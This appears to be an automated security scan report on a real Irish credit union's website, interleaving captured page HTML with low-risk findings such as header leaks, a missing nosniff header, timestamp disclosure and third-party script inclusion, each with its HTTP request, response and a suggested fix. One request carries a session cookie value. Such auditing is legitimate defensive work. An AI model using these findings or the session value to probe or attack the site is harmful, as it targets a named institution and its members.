<a href="https://apps.apple.com/ie/app/cro%C3%AD-laighean-credit-union/id1145914849" target="_blank"><img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt="Croí Laighean Apple App Store" title="App Store" data-lazy-src="https://www.clcu.ie/wp-content/uploads/2019/11/App-Store.svg"><noscript><img src="https://www.clcu.ie/wp-content/uploads/2019/11/App-Store.svg" alt="Croí Laighean Apple App Store" title="App Store"></noscript></a>
</div>
<div class="app_icon_feature">
<a href="https://play.google.com/store/apps/details?id=ie.progress.edenderrycumobile&hl=en" target="_blank"><img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt="Croí Laighean Credit Union Play Store App" title="Play Store" data-lazy-src="https://www.clcu.ie/wp-content/uploads/2019/11/Play-Store.svg"><noscript><img src="https://www.clcu.ie/wp-content/uploads/2019/11/Play-Store.svg" alt="Croí Laighean Credit Union Play Store App" title="Play Store"></noscript></a>
</div>
</div>
<div class="feature_middle">
<div class="center-img">
<img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt="Croí Laighean Credit Union app" title="Phone image" data-lazy-src="https://www.clcu.ie/wp-content/uploads/2020/11/Phone-image.svg"><noscript><img src="https://www.clcu.ie/wp-content/uploads/2020/11/Phone-image.svg" alt="Croí Laighean Credit Union app" title="Phone image"></noscript>
</div>
</div>
<div class="feature_right">
<div class="right_key_features">
<div class="icon-key-features">
<img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt="Credit Union Secure Banking" title="secure-login" data-lazy-src="https://www.clcu.ie/wp-content/uploads/2020/09/secure-login.svg"><noscript><img src="https://www.clcu.ie/wp-content/uploads/2020/09/secure-login.svg" alt="Credit Union Secure Banking" title="secure-login"></noscript>
</div>
<div class="right_cont">
<h4>Secure member login</h4>
<p>you’ll have peace of mind knowing your data is fully secure</p>
</div>
</div>
<div class="right_key_features">
<div class="icon-key-features">
<img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt="account-balance" title="account-balance" data-lazy-src="https://www.clcu.ie/wp-content/uploads/2020/09/account-balance.svg"><noscript><img src="https://www.clcu.ie/wp-content/uploads/2020/09/account-balance.svg" alt="account-balance" title="account-balance"></noscript>
</div>
<div class="right_cont">
<h4>Account balance</h4>
<p>Check your account balances on the go</p>
</div>
</div>
<div class="right_key_features">
<div class="icon-key-features">
<img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt="transfer-funds" title="transfer-funds" data-lazy-src="https://www.clcu.ie/wp-content/uploads/2020/09/transfer-funds.svg"><noscript><img src="https://www.clcu.ie/wp-content/uploads/2020/09/transfer-funds.svg" alt="transfer-funds" title="transfer-funds"></noscript>
</div>
<div class="right_cont">
<h4>Transfer funds</h4>
<p>Transfer funds between your own accounts and to non-Credit Union accounts</p>
</div>
</div>
<div class="right_key_features">
<div class="icon-key-features">
<img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt="pay-bills" title="pay-bills" data-lazy-src="https://www.clcu.ie/wp-content/uploads/2020/09/pay-bills.svg"><noscript><img src="https://www.clcu.ie/wp-content/uploads/2020/09/pay-bills.svg" alt="pay-bills" title="pay-bills"></noscript>
</div>
<div class="right_cont">
<h4>Pay bills</h4>
<p>Pay your bills</p>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div id="what-we-do-5"></div>
<div class="tab-pane fade " id="tab_5" role="tabpanel">
<div class="res-tab " datarowcolor="#93d500" style="background-color:#93d500 " >Member Benefits</div>
<div class="container">
<div class="whychoose-title-cont matchHeight">
<div class="letf-title-cont">
<h3>Member Benefits</h3>
<p>We're free to join!</p>
<p>Every month we give away a minimum of €20,000 to members participating in our members draw*.</p>
<p><b>Nomination of your funds*</b>: This facility enables you to nominate a recipient of your funds should you pass away. The nomination facility ensures that your funds are easily transferred to your loved ones in a timely manner.</p>
<p><b>Free Loan Insurance*</b>: Your loans are insured at no direct cost to you which means that in the event of your passing, any outstanding loan balance will be paid off to relieve any financial stress on your loved ones, during this difficult period.</p>
<p><b>Life benefit insurance*</b>: This is a unique additional benefit at no direct cost to you, paid to your nominated person in the event of your death.</p>
<br>
* Terms and conditions apply </div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="figure_service_sec_wrap">
<div class="container">
<div class="last_month_figure_wrap">
<div class="last_month_figure_title">
Last month’s figures </div>
<div class="last_month_figure_sub_title">
Our numbers for October 2023 </div>
<div class="last_month_repeter_wrap">
<div class="last_month_repeterbx">
<div class="last_month_repeter">
<div class="icon"><img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" title="Loans-approved" data-lazy-src="https://www.clcu.ie/wp-content/uploads/2022/02/Loans-approved.svg" /><noscript><img src="https://www.clcu.ie/wp-content/uploads/2022/02/Loans-approved.svg" title="Loans-approved" /></noscript></div>
<div>
<div class="counter_text">610</div>
<div class="title">Loans approved</div>
</div>
</div>
</div>
<div class="last_month_repeterbx">
<div class="last_month_repeter">
<div class="icon"><img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" title="Loans-paid-out" data-lazy-src="https://www.clcu.ie/wp-content/uploads/2022/02/Loans-paid-out.svg" /><noscript><img src="https://www.clcu.ie/wp-content/uploads/2022/02/Loans-paid-out.svg" title="Loans-paid-out" /></noscript></div>
<div>
<div class="counter_text">5,136,296</div>
<div class="title">Loans paid out</div>
</div>
</div>
</div>
<div class="last_month_repeterbx">
<div class="last_month_repeter">
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<div class="content">If you have an existing personal loan with a bank or other lender you can switch to our 5-year fixed loan with a low rate of 6% (6.17% APR).</div>
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<div class="title">Time for a new car?</div>
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<div class="content">Get in gear and get on the road with a Credit Union Car Loan. In the last year, we’ve helped our members buy cars by lending almost €12 million.</div>
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<div class="service_content">From Home Improvement Loans to Car Loans to Covered Loans, we have a wide range of Credit Union loans to suit your needs and repayment ability.</div>
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<div class="service_content">When you save with Croí Laighean Credit Union, you’re not just a customer, but a member of a Credit Union that provides security & protection for your savings.</div>
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<div class="service_content">The Current Account from Croí Laighean Credit Union gives you all the benefits you expect from a current account, but with the trusted Credit Union personal touch.</div>
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<div class="service_content">Backed by some of the leading Insurance companies in Royal London, RSA, AIG, Liberty and Mapfre. We will ensure that you get a fair quote every time.</div>
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<div class="service_content">We have a range of member benefits that you will not get from traditional banks and our customer service has awarded the best in Ireland for the past 6 years.</div>
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<div class="service_content">We have donated over €600,000 to the local community over the last 6 years and as we grow, we will have more to contribute. </div>
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<a href="https://www.clcu.ie/events/keeping-your-account-safe-from-fraud/" title="Keeping Your Account Safe From Fraud">
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<div class="latest_posts_title"><a href="https://www.clcu.ie/events/keeping-your-account-safe-from-fraud/" title="Keeping Your Account Safe From Fraud">Keeping Your Account Safe From Fraud</a></div>
<div class="latest_posts_news_date">22nd Feb 2023</div>
<div class="latest_posts_content">We have compiled this post to alert you about the recent surge in...</div>
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<div class="latest_posts_title"><a href="https://www.clcu.ie/events/clcu-social-impact-report/" title="CLCU Social Impact Report">CLCU Social Impact Report</a></div>
<div class="latest_posts_news_date">12th Sep 2023</div>
<div class="latest_posts_content">Our Social Impact Report highlights the key role that Croí Laighean Credit Union...</div>
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<div class="latest_posts_title"><a href="https://www.clcu.ie/events/competition-time/" title="Competition Time">Competition Time</a></div>
<div class="latest_posts_news_date">27th Oct 2023</div>
<div class="latest_posts_content">To mark the clocks going back tonight and the dark winter evenings creeping...</div>
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<div class="latest_posts_title"><a href="https://www.clcu.ie/events/tips-to-help-manage-back-to-school-expenses/" title="Tips To Help Manage Back To School Expenses">Tips To Help Manage Back To School Expenses</a></div>
<div class="latest_posts_news_date">28th Aug 2020</div>
<div class="latest_posts_content">Managing your back-to-school expenses can be quite stressful. From bus passes to iPads,...</div>
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<div class="latest_posts_title"><a href="https://www.clcu.ie/events/student-tips-for-money-management/" title="Student Money Management Tips">Student Money Management Tips</a></div>
<div class="latest_posts_news_date">20th Sep 2022</div>
<div class="latest_posts_content">At Croí Laighean Credit Union, we realise with the cost of living soaring...</div>
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<a href="https://www.clcu.ie/events/2023-student-bursary-awards-recipients-announced/" title="2023 Student Bursary Awards Recipients Announced">
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<div class="latest_posts_title"><a href="https://www.clcu.ie/events/2023-student-bursary-awards-recipients-announced/" title="2023 Student Bursary Awards Recipients Announced">2023 Student Bursary Awards Recipients Announced</a></div>
<div class="latest_posts_news_date">15th Jun 2023</div>
<div class="latest_posts_content">Croí Laighean Credit Union is delighted to announce the two recipients of the...</div>
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<a href="https://www.clcu.ie/events/2023-croi-laighean-credit-union-community-fund-recipients/" title="2023 Croí Laighean Credit Union Community Fund Recipients">
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<div class="latest_posts_title"><a href="https://www.clcu.ie/events/2023-croi-laighean-credit-union-community-fund-recipients/" title="2023 Croí Laighean Credit Union Community Fund Recipients">2023 Croí Laighean Credit Union Community Fund Recipients</a></div>
<div class="latest_posts_news_date">15th Jun 2023</div>
<div class="latest_posts_content">Croí Laighean Credit Union announced the recipients of the CLCU Community Fund 2023...</div>
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<div class="latest_posts_title"><a href="https://www.clcu.ie/events/wedding-loan/" title="Wedding Budgeting Tips & Wedding Loans">Wedding Budgeting Tips & Wedding Loans</a></div>
<div class="latest_posts_news_date">27th Apr 2023</div>
<div class="latest_posts_content">While the main idea is to have a day to celebrate and reflect...</div>
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<a href="https://www.clcu.ie/events/fixed-term-loan/" title="Why Choose A Fixed Term Loan">
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<div class="latest_posts_title"><a href="https://www.clcu.ie/events/fixed-term-loan/" title="Why Choose A Fixed Term Loan">Why Choose A Fixed Term Loan</a></div>
<div class="latest_posts_news_date">2nd May 2023</div>
<div class="latest_posts_content">If you are someone who likes to budget and plan ahead and doesn't...</div>
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<div class="latest_posts_title"><a href="https://www.clcu.ie/events/credit-union-green-loan/" title="Credit Union Green Loan">Credit Union Green Loan</a></div>
<div class="latest_posts_news_date">7th Feb 2023</div>
<div class="latest_posts_content">Would you consider paying for 5-6 years of electricity upfront to get 15...</div>
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<div class="latest_posts_title"><a href="https://www.clcu.ie/events/home-improvement-tips/" title="Home Improvement Tips">Home Improvement Tips</a></div>
<div class="latest_posts_news_date">25th Jan 2023</div>
<div class="latest_posts_content">Time to improve or modernise your personal space? Check out our handy home...</div>
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<div class="latest_posts_title"><a href="https://www.clcu.ie/events/compare-childrens-savings-accounts/" title="Compare Children’s Savings Accounts">Compare Children’s Savings Accounts</a></div>
<div class="latest_posts_news_date">15th Nov 2022</div>
<div class="latest_posts_content">Opening a children’s saving account is an effective way to teach your kids...</div>
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</style>
<script type='text/javascript' src='https://www.clcu.ie/wp-content/plugins/contact-form-7/includes/swv/js/index.js' id='swv-js'></script>
<script type='text/javascript' id='contact-form-7-js-extra'>
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<script type='text/javascript' src='https://www.clcu.ie/wp-content/plugins/contact-form-7/includes/js/index.js' id='contact-form-7-js'></script>
<script type='text/javascript' src='https://www.clcu.ie/wp-content/plugins/wpcf7-recaptcha/assets/js/wpcf7-recaptcha-controls.js' id='wpcf7-recaptcha-controls-js'></script>
<script type='text/javascript' id='google-recaptcha-js-extra'>
/* <![CDATA[ */
var wpcf7iqfix = {"recaptcha_empty":"Please verify that you are not a robot.","response_err":"wpcf7-recaptcha: Could not verify reCaptcha response."};
/* ]]> */
</script>
<script type="rocketlazyloadscript" data-rocket-type='text/javascript' data-rocket-src='https://www.google.com/recaptcha/api.js?hl=en_US&onload=recaptchaCallback&render=explicit' id='google-recaptcha-js'></script>
<script defer type='text/javascript' src='https://www.clcu.ie/wp-content/plugins/akismet/_inc/akismet-frontend.js' id='akismet-frontend-js'></script>
<script>window.lazyLoadOptions=[{elements_selector:"img[data-lazy-src],.rocket-lazyload,iframe[data-lazy-src]",data_src:"lazy-src",data_srcset:"lazy-srcset",data_sizes:"lazy-sizes",class_loading:"lazyloading",class_loaded:"lazyloaded",threshold:300,callback_loaded:function(element){if(element.tagName==="IFRAME"&&element.dataset.rocketLazyload=="fitvidscompatible"){if(element.classList.contains("lazyloaded")){if(typeof window.jQuery!="undefined"){if(jQuery.fn.fitVids){jQuery(element).parent().fitVids()}}}}}},{elements_selector:".rocket-lazyload",data_src:"lazy-src",data_srcset:"lazy-srcset",data_sizes:"lazy-sizes",class_loading:"lazyloading",class_loaded:"lazyloaded",threshold:300,}];window.addEventListener('LazyLoad::Initialized',function(e){var lazyLoadInstance=e.detail.instance;if(window.MutationObserver){var observer=new MutationObserver(function(mutations){var image_count=0;var iframe_count=0;var rocketlazy_count=0;mutations.forEach(function(mutation){for(var i=0;i<mutation.addedNodes.length;i++){if(typeof mutation.addedNodes[i].getElementsByTagName!=='function'){continue}
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</html>
<!-- This website is like a Rocket, isn't it? Performance optimized by WP Rocket. Learn more: https://wp-rocket.me - Debug: cached@1701041067 -->
Parameter
https://consent.cookiebot.com/uc.js
Evidence
<script id="Cookiebot" src="https://consent.cookiebot.com/uc.js" data-cbid="368ac9e7-c053-4874-afa7-27a82828d24f" data-blockingmode="auto" type="text/javascript"></script>
Solution
Ensure JavaScript source files are loaded from only trusted
sources, and the sources can't be controlled by end users of the
application.
4. SERVER LEAKS INFORMATION VIA "X-POWERED-BY" HTTP RESPONSE HEADER
FIELD(S) (1)
1. GET https://www.clcu.ie/robots.txt
Alert tags
* OWASP_2021_A01
* WSTG-v42-INFO-08
* OWASP_2017_A03
Alert description
The web/application server is leaking information via one or more
"X-Powered-By" HTTP response headers. Access to such information
may facilitate attackers identifying other frameworks/components
your web application is reliant upon and the vulnerabilities such
components may be subject to.
Request Request line and header section (234 bytes)
GET https://www.clcu.ie/robots.txt HTTP/1.1
host: www.clcu.ie
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
pragma: no-cache
cache-control: no-cache
Request body (0 bytes)
Response Status line and header section (291 bytes)
HTTP/1.1 200 OK
Date: Mon, 27 Nov 2023 07:22:36 GMT
Content-Type: text/plain; charset=UTF-8
Content-Length: 221
Connection: keep-alive
Server: Apache/2.4.52 (Ubuntu)
Upgrade: h2,h2c
Accept-Ranges: bytes
Vary: Accept-Encoding
X-Powered-By: WP Rocket/3.15.3
Cache-Control: public
Response body (221 bytes)
# START YOAST BLOCK
# ---------------------------
User-agent: *
Disallow: /wp-admin/
Allow: /wp-admin/admin-ajax.php
Sitemap: https://www.clcu.ie/sitemap_index.xml
# ---------------------------
# END YOAST BLOCK
Evidence
X-Powered-By: WP Rocket/3.15.3
Solution
Ensure that your web server, application server, load balancer,
etc. is configured to suppress "X-Powered-By" headers.
5. X-CONTENT-TYPE-OPTIONS HEADER MISSING (1)
1. GET https://www.clcu.ie/robots.txt
Alert tags
* OWASP_2021_A05
* OWASP_2017_A06
Alert description
The Anti-MIME-Sniffing header X-Content-Type-Options was not set
to 'nosniff'. This allows older versions of Internet Explorer and
Chrome to perform MIME-sniffing on the response body, potentially
causing the response body to be interpreted and displayed as a
content type other than the declared content type. Current (early
2014) and legacy versions of Firefox will use the declared content
type (if one is set), rather than performing MIME-sniffing.
Other info
This issue still applies to error type pages (401, 403, 500, etc.)
as those pages are often still affected by injection issues, in
which case there is still concern for browsers sniffing pages away
from their actual content type.
At "High" threshold this scan rule will not alert on client or
server error responses.
Request Request line and header section (234 bytes)
GET https://www.clcu.ie/robots.txt HTTP/1.1
host: www.clcu.ie
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
pragma: no-cache
cache-control: no-cache
Request body (0 bytes)
Response Status line and header section (291 bytes)
HTTP/1.1 200 OK
Date: Mon, 27 Nov 2023 07:22:36 GMT
Content-Type: text/plain; charset=UTF-8
Content-Length: 221
Connection: keep-alive
Server: Apache/2.4.52 (Ubuntu)
Upgrade: h2,h2c
Accept-Ranges: bytes
Vary: Accept-Encoding
X-Powered-By: WP Rocket/3.15.3
Cache-Control: public
Response body (221 bytes)
# START YOAST BLOCK
# ---------------------------
User-agent: *
Disallow: /wp-admin/
Allow: /wp-admin/admin-ajax.php
Sitemap: https://www.clcu.ie/sitemap_index.xml
# ---------------------------
# END YOAST BLOCK
Parameter
x-content-type-options
Solution
Ensure that the application/web server sets the Content-Type
header appropriately, and that it sets the X-Content-Type-Options
header to 'nosniff' for all web pages.
If possible, ensure that the end user uses a standards-compliant
and modern web browser that does not perform MIME-sniffing at all,
or that can be directed by the web application/web server to not
perform MIME-sniffing.
9. RISK=LOW, CONFIDENCE=LOW (1)
1. HTTPS://WWW.CLCU.IE (1)
1. TIMESTAMP DISCLOSURE - UNIX (1)
1. GET https://www.clcu.ie/who-we-are/
Alert tags
* OWASP_2021_A01
* OWASP_2017_A03
Alert description
A timestamp was disclosed by the application/web server - Unix
Other info
1700138050, which evaluates to: 2023-11-16 12:34:10
Request Request line and header section (311 bytes)
GET https://www.clcu.ie/who-we-are/ HTTP/1.1
host: www.clcu.ie
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
pragma: no-cache
cache-control: no-cache
referer: https://www.clcu.ie
Cookie: PHPSESSID=gutkq0d13uqkiuoo18rrel573t
Request body (0 bytes)
Response Status line and header section (262 bytes)
HTTP/1.1 200 OK
Date: Mon, 27 Nov 2023 07:22:36 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Server: Apache/2.4.52 (Ubuntu)
Upgrade: h2,h2c
Last-Modified: Mon, 27 Nov 2023 03:30:51 GMT
Vary: Accept-Encoding
content-length: 104088
Response body (104088 bytes)
<!doctype html>
<html lang="en-US">
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<h2>Our story</h2>
<p>Croí Laighean Credit Union has a friendly approach to modern finance. We combine all the traditional friendliness of a credit union with the modern banking facilities you demand, such as instant, real-time online access to your account and our convenient mobile app which lets you manage your finances while on the move.</p>
<p>We may work with figures all day, but at CLCU you’ll always be more than a number. When you join us, you’ll become part of a community to lean on for help. Croí Laighean Credit Union is not-for-profit, so any surplus is channelled into providing members with better products and services, loan rebates, or dividends. We also help our local community flourish through sponsorship initiatives that support schools, organisations, and clubs in your area.</p>
</div>
<div class="section_column section_column_2 section_column_right">
<h3>Why Choose Us</h3>
<ul> <li>We Support the Local Community</li>
<li>Fair and Transparent Lending Process</li>
<li>Affordable Loans Tailored to your Repayment Ability</li>
<li>Secure Savings </li>
<li>Best Value Current Account</li>
<li>Fair Insurance</li>
<li>Extra Member Benefits</li>
<li><a href="https://www.clcu.ie/contact/#opening-hours" title="here">Open 6 days a week - view timetable</a></li>
<li>The only person who benefits from a credit union… is you!</li>
</ul>
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<a href='https://www.clcu.ie/join-us/' class="join_today">Join today, it’s Free
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<h3>Am I eligible to join Croí Laighean Credit Union</h3>
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<h2>Why join us</h2>
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<div class="section_column section_column_3 join_us_item">
<a data-bg="https://www.clcu.ie/wp-content/uploads/2022/08/Image1.png" class="rocket-lazyload" href='https://www.clcu.ie/credit-union-loan/'
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<h3>Great Value Loans </h3>
<p>Get the best loan rates in our locality</p>
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<a data-bg="https://www.clcu.ie/wp-content/uploads/2022/08/fair-lending.png" class="rocket-lazyload" href='https://www.clcu.ie/credit-union-loan/'
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<h3>Fair Lending </h3>
<p>We use our experience, not algorithms </p>
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<h3>Secure Savings </h3>
<p>Backed by the Deposit Guarantee Scheme</p>
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<h3>Community Support </h3>
<p>Over €728,000 donated in the last 7 years</p>
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<div class="section_column section_column_3 join_us_item">
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<h3>Digital Banking </h3>
<p>24/7 account access with digital wallets</p>
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<h3>Extra benefits </h3>
<p>Free loan insurance and free life benefit insurance</p>
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<div class="section_container">
<h2>Your local trusted Credit Union</h2>
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<h2>Area’s we serve</h2>
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<a href='https://social.clcu.ie/membership-form-step-1/' class="join_today">Check if you’re eligible
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<h2>You local trusted Credit Union</h2>
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<img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt='https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review6.jpg' data-lazy-src="https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review6.jpg" /><noscript><img src=' https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review6.jpg' alt='https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review6.jpg' /></noscript>
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<div class='text_container'>
<p><p>Since joining the Credit Union last year not only have I seen my savings increase but also managed 2 holidays so far so thanks to Edel and the team</p>
</p>
<p class="testimonial_name">Ben Mullo</p>
</div>
</div>
<div class="item">
<div class='img_container'>
<img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt='https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review7.jpg' data-lazy-src="https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review7.jpg" /><noscript><img src=' https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review7.jpg' alt='https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review7.jpg' /></noscript>
</div>
<div class='text_container'>
<p><p>Very easy and friendly to deal with. The whole process is very straightforward. Exceptional customer service.</p>
</p>
<p class="testimonial_name">Gillian Lewis</p>
</div>
</div>
<div class="item">
<div class='img_container'>
<img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt='https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review1.jpg' data-lazy-src="https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review1.jpg" /><noscript><img src=' https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review1.jpg' alt='https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review1.jpg' /></noscript>
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<p><p>Friendly staff Helpful, understanding. Easy to open an Account. I’d required to complete opening an Account.</p>
</p>
<p class="testimonial_name">Patrick Barr</p>
</div>
</div>
<div class="item">
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<div class='text_container'>
<p><p>Very pleasant staff, always make you feel very welcome. Extremely helpful and you never feel like you’re just a number like a lot of other institutions do.</p>
</p>
<p class="testimonial_name">Austin Levins</p>
</div>
</div>
<div class="item">
<div class='img_container'>
<img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt='https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review3.jpg' data-lazy-src="https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review3.jpg" /><noscript><img src=' https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review3.jpg' alt='https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review3.jpg' /></noscript>
</div>
<div class='text_container'>
<p><p>Very helpful great service lovely staff.</p>
</p>
<p class="testimonial_name">Ellen Murphy</p>
</div>
</div>
<div class="item">
<div class='img_container'>
<img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt='https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review4.jpg' data-lazy-src="https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review4.jpg" /><noscript><img src=' https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review4.jpg' alt='https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review4.jpg' /></noscript>
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<div class='text_container'>
<p><p>Great staff and very helpful</p>
</p>
<p class="testimonial_name">Suzanne Lennon</p>
</div>
</div>
<div class="item">
<div class='img_container'>
<img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt='https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review5.jpg' data-lazy-src="https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review5.jpg" /><noscript><img src=' https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review5.jpg' alt='https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review5.jpg' /></noscript>
</div>
<div class='text_container'>
<p><p>Friendly, good hours, nice to deal with, honest, they will talk to you if any problems arise</p>
</p>
<p class="testimonial_name">Fergal Reidy</p>
</div>
</div>
<div class="item">
<div class='img_container'>
<img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt='https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review6.jpg' data-lazy-src="https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review6.jpg" /><noscript><img src=' https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review6.jpg' alt='https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review6.jpg' /></noscript>
</div>
<div class='text_container'>
<p><p>The guys couldn’t be more helpful and friendly. We are now new customers all set up and couldn’t recommend the team more. Great job.</p>
</p>
<p class="testimonial_name">Ray Keane</p>
</div>
</div>
<div class="item">
<div class='img_container'>
<img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt='https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review7.jpg' data-lazy-src="https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review7.jpg" /><noscript><img src=' https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review7.jpg' alt='https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review7.jpg' /></noscript>
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<div class='text_container'>
<p><p>Lovely friendly staff and never have to wait too long</p>
</p>
<p class="testimonial_name">Marie Parsons</p>
</div>
</div>
<div class="item">
<div class='img_container'>
<img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt='https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review1.jpg' data-lazy-src="https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review1.jpg" /><noscript><img src=' https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review1.jpg' alt='https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review1.jpg' /></noscript>
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<div class='text_container'>
<p><p>Staff helpful and friendly</p>
</p>
<p class="testimonial_name">Suzanne Walsh</p>
</div>
</div>
<div class="item">
<div class='img_container'>
<img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt='https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review2.jpg' data-lazy-src="https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review2.jpg" /><noscript><img src=' https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review2.jpg' alt='https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review2.jpg' /></noscript>
</div>
<div class='text_container'>
<p><p>An excellent place to secure your savings and obtain a loan if needed at very reasonable rates.</p>
</p>
<p class="testimonial_name">Steve Keogh</p>
</div>
</div>
<div class="item">
<div class='img_container'>
<img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt='https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review3.jpg' data-lazy-src="https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review3.jpg" /><noscript><img src=' https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review3.jpg' alt='https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review3.jpg' /></noscript>
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<div class='text_container'>
<p><p>Speed and efficiency – they’re always very helpful and if they can’t help they find someone who will.</p>
</p>
<p class="testimonial_name">Sheena M Geraghty</p>
</div>
</div>
<div class="item">
<div class='img_container'>
<img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt='https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review4.jpg' data-lazy-src="https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review4.jpg" /><noscript><img src=' https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review4.jpg' alt='https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review4.jpg' /></noscript>
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<div class='text_container'>
<p><p>The staff are always so helpful and welcoming.</p>
</p>
<p class="testimonial_name">Joanne Addie</p>
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Evidence
1700138050
Solution
Manually confirm that the timestamp data is not sensitive, and
that the data cannot be aggregated to disclose exploitable
patterns.
10. RISK=INFORMATIONAL, CONFIDENCE=MEDIUM (5)
1. HTTPS://WWW.GSTATIC.COM (1)
1. RETRIEVED FROM CACHE (1)
1. GET
https://www.gstatic.com/recaptcha/releases/-QbJqHfGOUB8nuVRLvzFLVed/recaptcha__en.js
Alert tags
* WSTG-v42-ATHN-06
Alert description
The content was retrieved from a shared cache. If the response
data is sensitive, personal or user-specific, this may result in
sensitive information being leaked. In some cases, this may even
result in a user gaining complete control of the session of
another user, depending on the configuration of the caching
components in use in their environment. This is primarily an issue
where caching servers such as "proxy" caches are configured on the
local network. This configuration is typically found in corporate
or educational environments, for instance.
Other info
The presence of the 'Age' header indicates that that a HTTP/1.1
compliant caching server is in use.
Request Request line and header section (617 bytes)
GET https://www.gstatic.com/recaptcha/releases/-QbJqHfGOUB8nuVRLvzFLVed/recaptcha__en.js HTTP/1.1
host: www.gstatic.com
Connection: keep-alive
